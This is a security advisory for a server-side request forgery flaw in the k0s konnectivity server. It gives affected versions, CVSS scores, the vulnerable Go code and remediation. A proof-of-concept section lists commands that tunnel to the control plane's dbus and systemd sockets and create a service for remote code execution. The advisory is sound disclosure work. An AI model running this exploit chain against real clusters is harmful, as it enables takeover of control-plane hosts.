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KLSA-00466 k0s Server Side Request Forgery vulnerability

Moderate
jnummelin published GHSA-3588-pcxv-rx45 Aug 31, 2026

Package

k0s

Affected versions

v1.21.9+k0s.0 -> v1.21.14+k0s.0
v1.22.6+k0s.0 -> v1.22.17+k0s.0
v1.23.1+k0s.0 -> v1.23.17+k0s.1
v1.24.2+k0s.0 -> v1.24.17+k0s.0
v1.25.2+k0s.0 -> v1.25.16+k0s.0
v1.26.0+k0s.0 -> v1.26.15+k0s.0
v1.27.1+k0s.0 -> v1.27.16+k0s.0

Patched versions

v1.28.2+k0s.0

Description

Please find below the identified vulnerability for your investigation.

Thank you for your attention. Please feel free to contact us if you require additional information or clarification on any points.
Looking forward to your response.

KLSA-00466 k0s Server Side Request Forgery vulnerability

Affected software/hardware
All k0s releases, which use k0sproject/apiserver-network-proxy
Affected version
v1.21.9+k0s.0 -> v1.21.14+k0s.0
v1.22.6+k0s.0 -> v1.22.17+k0s.0
v1.23.1+k0s.0 -> v1.23.17+k0s.1
v1.24.2+k0s.0 -> v1.24.17+k0s.0
v1.25.2+k0s.0 -> v1.25.16+k0s.0
v1.26.0+k0s.0 -> v1.26.15+k0s.0
v1.27.1+k0s.0 -> v1.27.16+k0s.0
Severity level
Impact: A compromised k0s worker node can authenticate to the konnectivity AgentService on the control plane and send a forged DIAL_REQ, causing the control-plane konnectivity-server process to initiate attacker-controlled outbound connections, including Unix domain socket connections such as /run/dbus/system_bus_socket.
Access Vector: Remote
CVSS v3 Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Overall CVSSv3 Score: 6.4
CVSS v4 Vector: AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Overall CVSSv4 Score: 5.3
CVE: not assigned
Description
k0s versions using the k0sproject/apiserver-network-proxy fork contain an authenticated server-side request forgery vulnerability in the konnectivity server.
The konnectivity server exposes the AgentService.Connect gRPC stream to worker-side konnectivity agents. After a worker agent authenticates with its service account token, the server processes packets received from that backend stream. The vulnerable implementation incorrectly accepts DIAL_REQ packets from the agent/backend side and passes attacker-controlled connection parameters directly to Go’s networking API:

//apiserver-network-proxy/pkg/server/server.go:888

case client.PacketType_DIAL_REQ:
    req := pkt.GetDialRequest()
    klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address)
    s.handleDialRequest(pkt, backend)

//apiserver-network-proxy/pkg/server/server.go:921
func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
  ...
  dialReq := pkt.GetDialRequest()
  resp.GetDialResponse().Random = dialReq.Random

  start := time.Now()
  conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address

Both dialReq.Protocol and dialReq.Address are controlled by the authenticated worker-side agent. The server does not sufficiently validate that the requested destination is an expected
Kubernetes node/kubelet endpoint, does not restrict the protocol to an intended safe set, and does not ensure that the dial request corresponds to a legitimate API-server-initiated tunnel flow.
As a result, an attacker who compromises a k0s worker node, or obtains the konnectivity-agent token, can cause the control-plane konnectivity-server process to initiate arbitrary outbound connections from the control-plane host. This allows the attacker to reach network services that are accessible from the control plane but not directly accessible from the worker node, bypassing network segmentation and control-plane isolation assumptions.
Depending on the target environment and local services exposed on the control-plane node, this primitive may be further abused to interact with local or internal services, including Unix domain sockets supported by net.Dial. Interact with dbus socket can lead to RCE on control plane
Below PoC exploit RCE based on stand ubuntu 22.04, v1.25.16+k0s.0 1 node.

SOCK=/tmp/master-system-bus.sock
rm -f "$SOCK"

/tmp/agentdial \
-addr cpl-addr:8132 \
-token "$TOKEN" \
-proto unix \
-target /run/dbus/system_bus_socket \
-listen-unix "$SOCK" &

via org.freedesktop.DBus.GetConnectionCredentials got uid konnectivity server process

tmp/systemdcall" \
    -socket "$SOCK" \
    -auth-empty \
    -whoami

got 994 uid. next start linger for this uid

busctl \
  --address=unix:path=/tmp/master-system-bus.sock \
  call org.freedesktop.login1 \
       /org/freedesktop/login1 \
       org.freedesktop.login1.Manager \
       SetUserLinger ubb 994 true false

on cpl host then appeared systemd user daemon

/run/user/994/bus
 /run/user/994/systemd/private

then need forward systemd user socket

USOCK=/tmp/master-user-systemd.sock
rm -f "$USOCK"

/tmp/agentdial \
 -addr cpl-addr:8132 \
 -token "$TOKEN" \
 -proto unix \
 -target /run/user/994/systemd/private \
 -listen-unix "$USOCK" &

And create user service via this socket

/tmp/systemdcall \
 -socket "$USOCK" \
 -auth-empty \
 -unit "rce-try$(date +%s).service" \
 -cmd "bash -lc 'id > /tmp/proof'"
image

Remediation
Migrate all affected versions k0s to https://github.com/kubernetes-sigs/apiserver-network-proxy
Acknowledgements
Vulnerability discovered by Matvey Bukhtoyarov (Kaspersky https://kaspersky.com)

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

CVE ID

No known CVE

Weaknesses

No CWEs

Credits